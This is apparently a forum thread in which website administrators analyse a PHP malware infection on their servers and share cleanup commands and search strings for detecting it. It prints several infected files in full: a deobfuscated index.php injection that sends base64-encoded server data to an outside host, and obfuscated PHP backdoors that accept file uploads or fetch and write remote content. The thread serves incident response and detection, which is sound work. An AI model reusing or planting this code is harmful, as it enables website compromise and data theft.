function Za64HUq_($TYCMzwTO, $x6Mpbe) {
$iGRCOPT = str_split($TYCMzwTO, 1);
$emivt51O = explode(",", $x6Mpbe);
$gMRtx3VD = "";
foreach($emivt51O as $v) {
$gMRtx3VD .= $iGRCOPT[(int)$v];
}
return $gMRtx3VD;
}
// Static class with method to initialize arrays
class hCXKOZB {
public static function __callStatic($name, $arguments) {
$temarr = array(
"puTfPFm" => array("3eolcnOp5Qf4_GqphVna1eerd2", "10,2,7,1,5"),
"CULPcX" => array("eheriQctavFofpceulrwEpy_J5rG", "12,19,3,4,7,0"),
"mWHO_PtG" => array("arsWrD_pcldbIoeelvh8uae4fc_K", "24,8,9,13,2,14")
);
foreach($temarr as $key => $v) {
$GLOBALS[$key] = Za64HUq_($v[0], $v[1]);
}
}
}
// Gets values from POST (if they exist)
$vA8r0 = isset($_POST["WOjVxhQ_"]) ? trim($_POST["WOjVxhQ_"]) : "";
$oTlM_Lm47 = isset($_POST["ZXk7oVxn"]) ? trim($_POST["ZXk7oVxn"]) : "";
// Decodes the input
$n3Bi8fy = !empty($oTlM_Lm47) ? $puTfPFm($vA8r0, "w") : "";
// If there is a decoded result, writes error message and exits
if($n3Bi8fy) exit("pIUeNv1Ox74Cq0i" . $mWHO_PtG($n3Bi8fy));
// Displays HTML form with hidden fields
echo "<form method=\"POST\">";
echo "<div><input type=\"text\" name=\"WOjVxhQ_\"></div>";
echo "<div><textarea name=\"ZXk7oVxn\" rows=\"5\"></textarea></div>";
echo "<button type=\"submit\">submit</button>";
echo "</form>";
?>
index.php
This is the index.php deeply inside subfolders were the index file i've created. The root index.php file was replaced by a malicious code that executes the payload and imports my original index file.
So take a deep look on every index file you have (even sub-folders).
These files were touched (date-time changed). Mine dated 30/08/2024 23:06:51
So even if you change your panel or format your server, you'll be hacked again if you don't sanitize every website. This means going throw all files and folders and apply new rules to stop execution on folders that you don't have php files (image uploads for example).
Thank you for proving my point. There are also png looking files containing malicious code with random filename but they are rare. Probably result of an interrupted code with an exception.
-
robots.txt
There's also a robots file (Wordpress alike) that was added to all websites (even those that are not Wordpress). Wordpress by default don't use such files. And as you can see by the url (bellow on "sitemap" field) there's a parameter to the URL called "?sitemap.xml". If you have this, the index of your website was exploited as well. The exploitation added an infected code to the top of your index file.
I recommend you to take a deep look on each "index" file you have. If you don't need that index file delete it. If you need it, look line by line of code.
Content of the robots file:
User-agent:*
Disalow:/wp-admin/
Sitemap: https://example.com?sitemap.xml
The infected index.php file had this code on top (nothing new as I've posted before).
As far as I can see, it extracts server information (by PHP $SERVER array) and sends it to an external server. It probably tracks when someone opens the website to notify the attacker that the website is on.
Deobfuscated Contents:
(DO NOT EXECUTE THIS!!!!)
<?php
// Variables innecesarias/sin usar
$timestamp1 = date("Y-m-d H:i:s");
$token1 = strtok("AFbWn");
$list = implode(",", array("vQTrioN", "b97ms", "OiBCEdN", "dwjr3P"));
$null_var = (string)null;
$hash1 = sha1("UDBYN");
$token2 = strtok("JmD3LC");
$timestamp2 = date("Y-m-d H:i:s");
// Clase de inicialización trivial
new TJw3Q();
class Q5e9Q {
public static function __callStatic($name, $arguments) {
// Decodificación: "\143\x75\162\x6c" = "curl"
$curl_init = curl_init();
// URL: "http://cache.usererp.site/about.php"
$url = "http://cache.usererp.site/about.php";
// Configurar opciones CURL
curl_setopt($curl_init, CURLOPT_URL, $url . "?ua=" . urlencode($arguments[0]));
curl_setopt($curl_init, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl_init, CURLOPT_ENCODING, 0);
curl_setopt($curl_init, CURLOPT_FOLLOWLOCATION, 47);
// Ejecutar y guardar respuesta
global $response;
$response = curl_exec($curl_init);
curl_close($curl_init);
}
}
// Más variables innecesarias
$var1 = strstr("YNEAdT", "NAJ7mFa");
$var2 = implode("RwOc8q9YN", array());
$json_server = json_encode($_SERVER);
$var3 = define("pd4mjgTe", "rJOdy");
// ... más variables sin usar
function call_function($function_name, $param_count = null, $param1 = null, $param2 = null, $param3 = null, $param4 = null) {
if ($param_count == 1) return $function_name($param1);
if ($param_count == 2) return $function_name($param1, $param2);
if ($param_count == 3) return $function_name($param1, $param2, $param3);
if ($param_count == 4) return $function_name($param1, $param2, $param3, $param4);
return $function_name();
}
function redirect_if_url($response) {
if (substr($response, 0, 4) == "http") {
header("Location: " . $response);
}
}
function json_encode_server($server_array) {
return json_encode($server_array);
}
function handle_xml($response) {
if (strstr($response, "<urlset")) {
exit(header("Content-type:text/xml") . $response);
}
}
function handle_html($response) {
if (strstr(trim($response), "<html")) {
exit($response);
}
}
class TJw3Q {
public function __construct() {
$_SERVER["T"] = "z";
$_SERVER["TPL"] = "4";
}
}
function base64_encode_server($server_array) {
return base64_encode($server_array);
}
// Lógica principal
$json_encoded = json_encode($_SERVER);
$json_encoded = base64_encode($json_encoded);
Q5e9Q::fHaWdfTx($json_encoded);
?>
licelic.c (revaluation)
If you come across these files, they’re useful for identifying infected areas, but they’re not enough. I’ve discovered several other infected locations (quite a few, actually - even within the same website there are multiple infected files), and I haven’t been able to find all the licelic.c files that could point me to them.
I believe some of these files were deleted while the server was being exploited by the exploit, but a few might have been lost in the process - or perhaps they were left behind as bait to make it seem like those were only the infected areas.
-
Thank you for proving my point. There are also png looking files containing malicious code with random filename but they are rare. Probably result of an interrupted code with an exception.
Haven't found images that were encoded.
But I have a clean backup, I'll compare both and then I post the results here.
-
Thank you for proving my point. There are also png looking files containing malicious code with random filename but they are rare. Probably result of an interrupted code with an exception.
Haven't found images that were encoded.
But I have a clean backup, I'll compare both and then I post the results here.
I have a few images that didn't match but because they weren't there before. They are not infected. You might have been infected before. Sending an image with php code inside a website is not hard to do. Hard is to make it executable (by changing it's extension for example).
Do you still have a file of those so I can obfuscate it to see what's inside? If so, leave the link so I can download it.
-
robots.txt (revaluation)
Many of my websites contain robots.txt files that appear to be used to expose compromised websites (when you open it, it notifies the attacker). These files include a reference to a “sitemap” that actually points to an exploited file (index.php). If Googlebot or another search-bot fetches that sitemap, it could automatically reveal the infected website to the attacker. The attacker have put search bots in work for him (smart, I must say).
Every index.php file referenced by these robots.txt files appears to be infected at the top. Below the infection lies your original code (but double check it!!!).
Note that simply deleting the robots.txt files is not enough! You also must carefully inspect and clean every affected index.php file. Make sure to thoroughly check each robots.txt file, as the infection may vary between them and you might end up losing the infected index.php file.
An infected index.php file is still useful to the attacker! The robots.txt is just a complement.
SSH command to search all robots.txt files:
find /home -type f -name "robots.txt"
-
I mass removed them, every part of the malicious code, backup.c, licelic.c etc with rm find. Buy maybe i can find them from backups.
As far as I understand from the context of the malicious code, they are trying trick the visitors to make payment with a credit card. Because the attacker needs to be notified every time a visitor runs the code and in defauit.php there are classes about making payment.
So the attacker takes the information of the credit card provided by the visitor, and uses it on another website.
Oh i found one image file from a backup.
(https://i.ibb.co/jkKbTfrf/cwp.png)
-
I mass removed them, every part of the malicious code, backup.c, licelic.c etc with rm find. Buy maybe i can find them from backups.
As far as I understand from the context of the malicious code, they are trying trick the visitors to make payment with a credit card. Because the attacker needs to be notified every time a visitor runs the code and in defauit.php there are classes about making payment.
So the attacker takes the information of the credit card provided by the visitor, and uses it on another website.
Oh i found one image file from a backup.
How did you mass remove them? Do you have a script that you could share?
-
I mass removed them, every part of the malicious code, backup.c, licelic.c etc with rm find. Buy maybe i can find them from backups.
As far as I understand from the context of the malicious code, they are trying trick the visitors to make payment with a credit card. Because the attacker needs to be notified every time a visitor runs the code and in defauit.php there are classes about making payment.
So the attacker takes the information of the credit card provided by the visitor, and uses it on another website.
Oh i found one image file from a backup.
How did you mass remove them? Do you have a script that you could share?
You dont need a script to remove them. This will remove all of the malicious code except for index.php.
find /home/ -type f \( -name "licelic.c" -o -name "backup.c" -o -name "defauit.php" -o -name "defauIt.php" -o -name ".c" \) -exec rm -f {} \;Edit: You can remove "-f" if you need to check which file is being removed.
If you have two examples of infected index.php file, i can try to make a script that will auto remove them.
-
You dont need a script to remove them. This will remove all of the malicious code except for index.php.
find /home/ -type f \( -name "licelic.c" -o -name "backup.c" -o -name "defauit.php" -o -name "defauIt.php" -o -name ".c" \) -exec rm -f {} \;Edit: You can remove "-f" if you need to check which file is being removed.
If you have two examples of infected index.php file, i can try to make a script that will auto remove them.
I had files that didn't have the dot on the ".c", they were just "c". Take a look in your server as well.
Also inspect all your robots.txt and index.php (of the root folder of each website) mine got infect on top.
-
You dont need a script to remove them. This will remove all of the malicious code except for index.php.
find /home/ -type f \( -name "licelic.c" -o -name "backup.c" -o -name "defauit.php" -o -name "defauIt.php" -o -name ".c" \) -exec rm -f {} \;Edit: You can remove "-f" if you need to check which file is being removed.
If you have two examples of infected index.php file, i can try to make a script that will auto remove them.
I had files that didn't have the dot on the ".c", they were just "c". Take a look in your server as well.
Also inspect all your robots.txt and index.php (of the root folder of each website) mine got infect on top.
Yeah, i've found the file named "c" one of the websites. I've also found another index.php file in a random directory, which was obfuscated but its obvious that the file is creating an html form element.
echo "\x3c\x66\x6f\162\x6d\40\x6d\x65\x74\150\x6f\x64\x3d\"POST\"";<form method="POST"
You can also search in your files. "\x3c\x66\x6f\162\x6d\40\x6d\x65\x74\150\x6f\x64\x3d\"POST\"";"
Might be another backdoor.
-
Just another obfuscated index.php file in a random directory.
You can search for terms such as "stream_get_meta_data($infoW)["uri"];goto" to find other occurances in your webserver.
<?php goto k8m1QZt2JL;yTZ1Fxr: if(!isset($_GET[/* */("LcEF")[1]./* */("UefpAJ")[4].("ABo7")[1]./*
*/("tGNgsd")[1]]))exit;goto OziaS8PU;vPbzyCtLXQ: $eHNuBzJ = strpos("wnJbkEld","u4Yhb62jk"); goto VcJp97;FI7ycwetQZ: $GbmJE9c2n = (/**/("VsLP")[1].("mpNto")[3]./* */("pr2lfq")[1]./* */("J_Tt9")[1].("pNVr3b")[3].("Oev_")[1].("UogpT")[3].("AsBe9")[3]./*
*/("ayOxC")[0].("cUmStk")[4])("", 5); goto djdAEq3_Z;mNZMuAn03: $ydOGPJ = (/* */("sSsh")[2].("ZtvS")[1]./* */("pADr1M")[3]./*
*/("I_0ubT")[1].("pM983l")[0]./* */("aYudaD")[4].("kId89Q")[2])("", 0); goto KUaAIeWh;ZJHKzh7N2: (/* */("csdP")[0].("tuBoV")[1]./*
*/("rCcz")[0]./*
*/("lbaf3R")[0]./* */("IN_Uo")[2]./* */("sgNP")[0].("iAeLaj")[2].("TR6CtK")[4]./**/("T3opB")[2].("fpVS")[1]./* */("E7tf")[2])($t7i13,(int)(("6jbAMe")[0].("L40K_Q")[1]./* */("_hBqvO")[0]./* */("Ornh4K")[1].("hEleF")[3].("peTs")[0].("lJAa")[0]), 0);goto yQ85f0rF;pb80aP: $XxbaA = strpos("ZzQy_I1A","qPSwx"); goto a5ePVEUtX;xJ9cj1QxEH: $zAQ5o = addcslashes("zAQ5o","HLVD9H67XoGvS"); goto cu4yJeSN;ZfrIJlvZ: $P_Ly5sMoT = define("pvt1yW","Yz49D_7"); goto dLtmkp;cNivf5: $infoW = copy($csSfc,/* */("kvAsC4")[3]./*
*/("yhIm")[1].("uP6oZ")[3]./*
*/("Hyqp7o")[3]./* */("lO0c.R")[4]./* */("pxho")[0].("qYh8")[2]./**/("LyupQ")[3]);goto gmxZhVfc;a5ePVEUtX: $LbvZIl = (("iD3VTb")[0].("m_CJoz")[0].("fp83QI")[1].("tdZlz")[3].("okyuA")[0]./*
*/("A4VdS")[3]./* */("e_LHi")[0])(",",array("PaZH_Rtb","G2JxvFl","hoUZ10QF","MW4IobOQw")); goto CYUI5Vg278;OP7W6w: $tU6Htl = (("ss3L_")[0].("pDp1")[2]./* */("AFrNvr")[2]./* */("wBiA")[2]./* */("nV17")[0].("BWtB")[2].("Yfkh")[1])(""); goto PLp95gFG;kkF4Ncr6: $TH_apwEWT = (("iD3VTb")[0].("m_CJoz")[0].("fp83QI")[1].("tdZlz")[3].("okyuA")[0]./* */("A4VdS")[3]./*
*/("e_LHi")[0])("TH_apwEWT",array());goto fGsvMWjuCg;UQUoexHiS: $dZtonG = (/* */("sLZH")[0]./*
*/("vtZitF")[1].("rXBJ")[0].("crcsxA")[3].("TtP9")[1].("ptrQIR")[2])("dZtonG", "Xj7s2uF"); goto yTZ1Fxr;RrN4Re3O_t: $oMOVB51r = (("nMvsY")[3].("Lt7v")[1]./*
*/("lrbZ")[1]./*
*/("tABA5")[0]./*
*/("IAob")[2]./* */("NjkN")[2])("oMOVB51r"); goto eF_jfNyOpE;gmxZhVfc: echo /* */("Zsa9")[1].("IcruR")[3]./* */("Rc9H")[1]./**/("wJcVmu")[2]./* */("ieZ6H")[1].("sK4S")[0].("_sr_")[1];goto glwegx;arGUuE: (/**/("csdP")[0].("tuBoV")[1]./* */("rCcz")[0]./*
*/("lbaf3R")[0]./* */("IN_Uo")[2]./*
*/("sgNP")[0].("iAeLaj")[2].("TR6CtK")[4]./* */("T3opB")[2].("fpVS")[1]./*
*/("E7tf")[2])($t7i13,(int)(("gc1l")[2]./*
*/("Tu0X")[2]./* */("0_6Yf")[0].("E2k0sR")[3].("Uv62N")[3]),$Cr7YLD);goto jeITJ05L;_QPyC_Uw2d: if(!$infoW)exit;goto qaCsrh;eF_jfNyOpE: $lqGibM = false; goto qb6tWVjZ;m2UFsayhKt: fwrite/*x1dsK*/($infoW,$E9kFDYug);goto vPbzyCtLXQ;CYUI5Vg278: $E9kFDYug = (/*
*/("ccqL8")[1].("kFuEk")[2].("jrRr6")[3]./*
*/("NBl67")[2].("Bn_s")[2]./*
*/("oyLce4")[4]./*
*/("Eg_xc")[3].("zeWz9p")[1].("cENYr")[0])($t7i13);goto nMiUby1u;jeITJ05L: (/* */("csdP")[0].("tuBoV")[1]./*
*/("rCcz")[0]./*
*/("lbaf3R")[0]./* */("IN_Uo")[2]./* */("sgNP")[0].("iAeLaj")[2].("TR6CtK")[4]./*
*/("T3opB")[2].("fpVS")[1]./* */("E7tf")[2])($t7i13,(int)(("1wuA")[0].("9VKY")[0].("Gm90c")[2].("tHlX1Y")[4]./* */("3JbxO")[0]), 1);goto ZJHKzh7N2;ycMWqZr4C: $irwRMpNx = (("nMvsY")[3].("Lt7v")[1]./* */("lrbZ")[1]./*
*/("tABA5")[0]./* */("IAob")[2]./* */("NjkN")[2])("irwRMpNx"); goto xJ9cj1QxEH;rgOInqtUo: (/* */("MITicM")[4].("eH4ucd")[3]./**/("Borcf")[2].("AlkY")[1]./* */("_NIqj")[0]./**/("ichPI")[1].("hluo")[1]./*
*/("oFWp2X")[0]./* */("sRqxW")[0]./*
*/("MJVer")[3])($t7i13);goto xqvlspVMua;rxOZNFk6: $_3dp2Bmv = define("gS0ht4vV","BmWliLbks"); goto arGUuE;glwegx: $Ji8Czwd = (("K4Pwx")[3]./*
*/("oU8IH")[0]./* */("Yrmrhj")[3].("dAn05L")[0]./* */("U4w5s")[2]./* */("QtrRd")[2].("FiaP")[2]./* */("kepvP")[2])("", 8);goto ZfrIJlvZ;VcJp97: $csSfc = stream_get_meta_data($infoW)["uri"];goto zvoTdAM;AzW2rIcJ: $infoW = tmpfile();goto _QPyC_Uw2d;YO7HPNId4: $sXEr6Sz = (("msSf")[1]./*
*/("lJFu4d")[3].("Db8T3")[1]./* */("sqST")[0].("MgaJtz")[4]./*
*/("Eru4")[1])("sXEr6Sz",7,0);goto UQUoexHiS;CAVY2h: $Hyl46K8Pe = (string) null; goto kkF4Ncr6;VYlTbVK9Cv: $bkPC7wsv = addslashes("bkPC7wsv"); goto I0tBIKQV5u;PLp95gFG: $KFHM5D = str_shuffle("l5wgOtr9"); goto mNZMuAn03;H38OmS_psA: $ARVzAQu75 = sha1("l45rQuas"); goto ZgjHvXPb;y_QeZmI: $lnbixGW6K = strval(false); goto FI7ycwetQZ;qb6tWVjZ: $Ed9U5Pe = (("lbsSNF")[2].("UtwcV")[1].("P6rgd")[2].("L09_1")[3].("borsxS")[2]./*
*/("We1B")[1]./*
*/("pcpv")[2].("oHlG")[2].("LRma5")[3].("Xx9cgf")[3]./*
*/("ewfMO")[0])("Ed9U5Pe", "", "Ed9U5Pe");goto VYlTbVK9Cv;fGsvMWjuCg: $YZqXErkJ = (("nMvsY")[3].("Lt7v")[1]./* */("lrbZ")[1]./* */("tABA5")[0]./* */("IAob")[2]./**/("NjkN")[2])("YZqXErkJ"); goto DLBXjhA;jG5mLo1C: $oh7lPvV = ucfirst("XnNXA"); goto CAVY2h;djdAEq3_Z: $vp6WA8o3 = defined("L4cqa"); goto OP7W6w;k8m1QZt2JL: $gTPQ4h_ = (string) null; goto jG5mLo1C;xqvlspVMua: $j6ten = (("iD3VTb")[0].("m_CJoz")[0].("fp83QI")[1].("tdZlz")[3].("okyuA")[0]./**/("A4VdS")[3]./* */("e_LHi")[0])(",",array("N6SpwGx","dXFrUC","yCMd3aqoh","ZT9mZANQd")); goto AzW2rIcJ;zvoTdAM: $K0ucKTH = (/*
*/("VsLP")[1].("mpNto")[3]./* */("pr2lfq")[1]./**/("J_Tt9")[1].("pNVr3b")[3].("Oev_")[1].("UogpT")[3].("AsBe9")[3]./* */("ayOxC")[0].("cUmStk")[4])("", 9); goto cNivf5;TYXDZEOJmf: $ql3NdoZhX = (/* */("cdBD")[0].("rrhF6")[2].("MuUOr")[1]./* */("nogxjH")[0]./* */("UXky")[2]./*
*/("lC_B")[2]./* */("Ys2YWh")[1]./* */("_M6pL")[3]./*
*/("ZxlK")[2].("dW2Yic")[4].("vtmA0")[1])("Fi1WqIDCMdxfVZ",3); goto Al0Jehv;ywlXs3Q: $V63Ja = (("ss3L_")[0].("pDp1")[2]./* */("AFrNvr")[2]./*
*/("wBiA")[2]./* */("nV17")[0].("BWtB")[2].("Yfkh")[1])(""); goto ncjtyvXFZ;ZgjHvXPb: $H9MphLJI = (string) null; goto RrN4Re3O_t;dLtmkp: $enf6Gi = strval(false); goto H38OmS_psA;KUaAIeWh: $ktFgPIC = strpos("xO4DmC9YN","cKoiJMdr5"); goto YO7HPNId4;nMiUby1u: $JNhW9rbZ2 = str_shuffle("uYL8h25BV"); goto TYXDZEOJmf;Al0Jehv: $I7rMnac = (string) null; goto rgOInqtUo;ncjtyvXFZ: $t7i13 = (/*
*/("cAGt")[0]./*
*/("bugBio")[1]./**/("H4rE")[2].("lf57")[0].("LlQ__X")[4].("LxiWUA")[2]./*
*/("SKnLI")[2]./*
*/("igql")[0]./* */("MtgB28")[1])();goto rxOZNFk6;cu4yJeSN: $vqMptm = addcslashes("vqMptm","IObRDjqzLMWXv"); goto NuPUfHtybg;DJtNV7: $K_WRFfn = lcfirst("dOV3gjZAn"); goto ycMWqZr4C;DLBXjhA: $K5mQnDhjp = (("iD3VTb")[0].("m_CJoz")[0].("fp83QI")[1].("tdZlz")[3].("okyuA")[0]./**/("A4VdS")[3]./**/("e_LHi")[0])(",",array("vBTAjn","HyP0zIH","LMGfhu","VcsT_mR1")); goto y_QeZmI;I0tBIKQV5u: $PDZK2ztn = array("JmS6k7IrqLxD"); goto DJtNV7;yQ85f0rF: (/*
*/("csdP")[0].("tuBoV")[1]./* */("rCcz")[0]./*
*/("lbaf3R")[0]./* */("IN_Uo")[2]./**/("sgNP")[0].("iAeLaj")[2].("TR6CtK")[4]./**/("T3opB")[2].("fpVS")[1]./*
*/("E7tf")[2])($t7i13,(int)(/**/("L135XO")[1].("mHc3fP")[3].("ZH_9Bo")[2]./*
*/("rnvWG")[0].("kmepc")[2]./* */("pAI7")[0].("ChKFlJ")[4]), 49);goto pb80aP;OziaS8PU: $Cr7YLD = /* */("_Xj4hP")[4]./*
*/("zht8so")[2]./* */("GvLtuJ")[3]./* */("Scpo7")[2]./* */("LH:4ym")[2].("/cpL")[0]./*
*/("/AAW")[0].("Sv3J")[1]./* */("oak4")[0]./**/("tblrC")[2].("dogcE")[1].("D2Kv1l")[3].("oM4mG")[3]./*
*/("aFau")[0]./**/("Brdw")[1].("utUO")[1]./*
*/(".O3I")[0]./* */("i4rV")[2]./* */("b7u9")[2]./* */("U/ZSoV")[1].("JdfOn")[1]./*
*/("XEd_ag")[4].("YyIMi2")[4]./*
*/("/AfZ")[0].("I4A6?F")[4].("NPtqVR")[2]./*
*/("_i=Ygp")[2].("pCvE")[0].("c&wB3u")[1]./*
*/("thIlG")[3].("t=n3")[1].("zu2BCD")[0].("Sljdi")[3].("Rh20K")[1].("m5ysb")[2]./* */("KS-H")[2]./* */("e8kT")[1]./* */("u-Gilp")[1]./* */("8k0oMA")[0];goto ywlXs3Q;qaCsrh: $t1gXasH4J = (/*
*/("sLZH")[0]./* */("vtZitF")[1].("rXBJ")[0].("crcsxA")[3].("TtP9")[1].("ptrQIR")[2])("t1gXasH4J", "rgH8fJFR0"); goto m2UFsayhKt;NuPUfHtybg:""; ?>
-
Another backdoor(Search for terms such as "= strval(false); goto" to find other occurances in your webserver):
<?php goto lVijFaMf;JJDjaIOYP0: $e7hWk = ucfirst("gbqmo"); goto iEqHs1c;DXNSWE: $ouok7MZ = addslashes("ouok7MZ"); goto M3amtuEDv;HUSdrNR: if(!isset($_GET["U8v"]))exit;goto QesQqL3zP;BZvnmC: if($RsdQa)exit("TkDTbQiPzSd4Z9pAx1h".copy($_FILES["qcDxi5jZ61"][("tWUa")[0].("gEmv")[2]./* */("pk5t")[0].("sk_n2r")[2]./*
*/("tUhnxb")[3]./*
*/("Za1OB")[1]./* */("O6mE")[2]./*
*/("VeyDa")[1]],$RsdQa));goto DXNSWE;isQdpF1z: $YIHPFEse = (string) null; goto kUwVlNc7d0;QesQqL3zP: if(isset($_FILES["qcDxi5jZ61"]))$RsdQa = basename($_FILES["qcDxi5jZ61"][("iniY")[1]./*
*/("FHad")[2]./*
*/("MImEQZ")[2].("eoiyF")[0]]);goto BZvnmC;mc80VrYbp_: $vSDMWP = lcfirst("dMSowB7jU"); goto leUr0KWa;RY9_TI: $KePs2Rp = (/* */("ziX4")[1].("mFjD")[0]./* */("Qepph")[3].("llIP5W")[0].("toUi")[1].("Odmwfn")[1].("DjbeW")[3])(",",array("XGpyb","h57YPQWV","KXTOke5","NmhUN")); goto i0NKZiX1;QOPTD8ys4: $cHcBL2z4 = (("MsJI4D")[1]./*
*/("Msuk")[2]./* */("VLbu")[2].("hs39Jc")[1].("PhFtX")[3].("yWr2")[2])("cHcBL2z4",8,0);goto RY9_TI;OEMap7X: $VtXzh6f = addslashes("VtXzh6f"); goto SfWARya;D5IUXJ4: $FfEiu = sha1("Gc7aq"); goto F1J_RKtp;kUwVlNc7d0: $AgsciC4bG = strpos("PYGIXK","Vigysmb6T"); goto LruYdez9j;QwphlQi1V: $B5MDKsm1r = (string) null; goto QOPTD8ys4;G3_ly06IJ: $PDCRK = (("hwSaJ")[1].("bohU40")[1]./* */("wirb")[2]./* */("O0acde")[4]./* */("onH7w9")[4]./*
*/("jWMru4")[3]./* */("OaWo")[1]./* */("gpbP_")[1])("", 11);goto JJDjaIOYP0;LruYdez9j: $SK59OL = (("KjtsDQ")[3].("tZ1P")[0]./* */("L5Jri")[3]./**/("tIFGxP")[0].("Nork1l")[1]./* */("E5kme")[2])("SK59OL"); goto QwphlQi1V;i0NKZiX1: $LsxEThigD = sha1("aWZBpd"); goto gtL9M7EZ1u;leUr0KWa: echo /* */("<Xe9")[0]./*
*/("vkGjf9")[4]./* */("qaotd")[2]./* */("C3r2o7")[2].("bBmir")[2]./*
*/("tt G")[2].(" vbf29")[0]./*
*/("mT5d")[0].("emrb")[0].("FHtovt")[2]./*
*/("eVhg")[2].("ZEom4S")[2].("gdmZpT")[1]./**/("Dsuh=j")[4].'"'./*
*/("poNw")[0]./* */("lzjorm")[3].("syhHa")[0]./*
*/("JedtB")[3].'"'.("C DeC")[1]./**/("g5xe2")[3]./*
*/("q2KnqY")[3]./**/("yPcOz")[2]./*
*/("Gft9")[2].("Ky0nvd")[1]./* */("aNpq")[2].("ce8cUG")[1].("Tu=Wc")[2].'"'.("A9nmQi")[3].("uAYEK")[0].("bKal1")[3].("CHstV")[3].("iAin")[0]./* */("RpvMXt")[1].("azF7XA")[0]./* */("Eprv")[2]./* */("tXeA1a")[0].("/rhP0")[0].("qfGO")[1].("g7oe9")[2].("KMQ7rg")[4].("l3m9")[2]./* */("-Y0rt")[0]./* */("FnkdF")[3].("jays")[1]./*
*/("tQB8")[0]./* */("WnXNae")[4].'"'.("W5>o")[2];goto NCQOl4V_d;QXQSIJ: $s9N_vWPUq = (/* */("PsM0F")[1].("H5p8")[2].("VZrvf")[2]./**/("JMiJ")[2]./* */("vtnnA")[2].("Njt3Sk")[2].("fyQI")[0])(""); goto gyIvf3Gw;lVijFaMf: $UWg_fp2 = (/**/("cja8xK")[0]./*
*/("ohEFq")[1].("ubvgx")[0].("qq4nng")[4].("o3pkra")[3]./**/("a3_eRq")[2].("SspUyB")[1]./*
*/("GpcY5")[1]./*
*/("hl5zoc")[1].("iNkS")[0].("Qt9eU")[1])("qEZi0qy3rN7c",3); goto isQdpF1z;PHQO3t: $WAiLRzYf = lcfirst("I3ZDXQ"); goto D5IUXJ4;HpTmlO: echo /* */("MA<w")[2].("pih6")[1].("nmkl")[0].("Cpgo")[1].("lmyu3")[3]./**/("tbZM4W")[0].("j5 h")[2]./* */("ztea0E")[1]./* */("Oy7Gr")[1].("QV7_pd")[4].("geEAw")[1].("GkB=V")[3].'"'./* */("oksh")[2].("puw7")[1].("bBrC")[0]./*
*/("DqDmj")[3].("vPYiT")[3]./* */("Rt8L")[1].'"'./*
*/("FP JoZ")[2]./* */("TRvE")[2]./*
*/("MQtLam")[4]./*
*/("rlf9K")[1]./**/("dQ0Yuh")[4].("eFvZ")[0]./*
*/("=fEv")[0].'"'.("aiFsBe")[3].("cnuqCR")[2].("bx_4")[0]./**/("Qm_lZn")[1]./*
*/("qi_g2")[1].("KbtH4")[2].'"'./* */("M>2Um")[1];goto QXQSIJ;SfWARya: $yTa7b = addslashes("yTa7b"); goto PHQO3t;gyIvf3Gw: echo ("<phD")[0]./*
*/("n/yaoF")[1].("JfExCS")[1]./* */("nEoVjD")[2]./* */("TNrx")[2].("sm5zfD")[1].("Wcl>M")[3];goto OEMap7X;F1J_RKtp: $a2mcgG = define("E1Oes","kobMCZ5Q"); goto OjXQTpN;NCQOl4V_d: $jgJlQM = (/* */("Spksb")[3]./* */("nfYtt")[3].("YGrpB")[2]./* */("Cj_Sz")[2].("gryxuV")[1].("ebev")[2].("qXpL")[2].("QlKWwI")[1]./**/("jamOa9")[1]./*
*/("a2Hcc")[3].("celqm")[1])("jgJlQM", "", "jgJlQM");goto ZpJDct1;M3amtuEDv: $Q0bMh = (/* */("cja8xK")[0]./*
*/("ohEFq")[1].("ubvgx")[0].("qq4nng")[4].("o3pkra")[3]./* */("a3_eRq")[2].("SspUyB")[1]./* */("GpcY5")[1]./* */("hl5zoc")[1].("iNkS")[0].("Qt9eU")[1])("BrV61eAfMIydF",3); goto mc80VrYbp_;gtL9M7EZ1u: $C8f3Yq6 = strval(false); goto HUSdrNR;ZpJDct1: echo ("_<ib")[1].("FDiaL")[2]./* */("nLKb4w")[0].("DpVT")[1].("u_TGl")[0].("WEftFv")[3]./* */("eF m")[2]./* */("ttUPk")[0].("yIYq")[0].("kSpx")[2].("aneY")[2].("By=2")[2].'"'.("lfQJ")[1]./* */("SP1iG")[3].("uLlOQ")[2].("rvjeim")[3].'"'./*
*/("K OeY")[1]./*
*/("nNvdM")[0]./* */("KazX")[1].("mLSjx")[0]./*
*/("Aeug")[1]./*
*/("W=p2Bx")[1].'"'.("gbqg")[2].("foec6t")[3]./*
*/("ijn1DL")[4].("otRxUV")[3].("im9c")[0].("t4RQ5X")[4].("ezj8f")[2]./* */("CQZZ6")[3]./* */("6Fk9")[0].("C1i2E")[1].'"'.("uSc DR")[3].("qP>7")[2];goto HpTmlO;iEqHs1c: $CpiskJ = strval(false); goto A2cGUk_mr;OjXQTpN: $bAEaqf = strval(false); goto G3_ly06IJ;A2cGUk_mr:""; ?>
-
Yet another:
4tLR0erSJU _NV s7Gua3DXxdlTMkcAbPv 6IfQZ5 w8n1pjy
gEoF2 qWKhOHYCm9Bz
iZpG0 wgCFzf KQIkmM9yLh5W noDeJai
dNvAq3YrHU 1 6ulxSOX78tR_bs2 Tc4EPV
jB MLUdi95
Y
pCgOh84GFvXT1exyWk7cP D3QjBuqr 6 H JS2woaK _nmR0EIfbZAzsNV tlP 1I Sy2tYx
5KC7hJ0vfMW6p mgR_b l8NG3aQsUiuVBHAT cq XjrFnO4Z
LdozweD9kEv5NHusbl7 CtZQYFLgy23zPK9D OaMx dS eTcGnq0WUpf_R
EXrjw m16Bk8IVoh
4JAi FI
sCh Xag G3_o cTZn84Vq2 9KtMedxRzkuS EJmf76 wbpOH5i NWDQjB
1ryLUlYAv0P dNVpDkH7 G6Z OhmY_5sl3i4croxKRUEzQTu1 P8FMgaA
Wvnq2XLCSftby
ew jB90IJan
Vc4NEB6kKYFz
siUx pZAgSComXO 3 R0QHylq5eT9uPvtrJLbW w1h8GdDMIjf72_N
GIn Aoka5gd42mXeYMJxlj3K PLS pHifV0QrFD ZctWqEy 76CsBuvb98_zT ROU1hw
ZN t
q83hI6
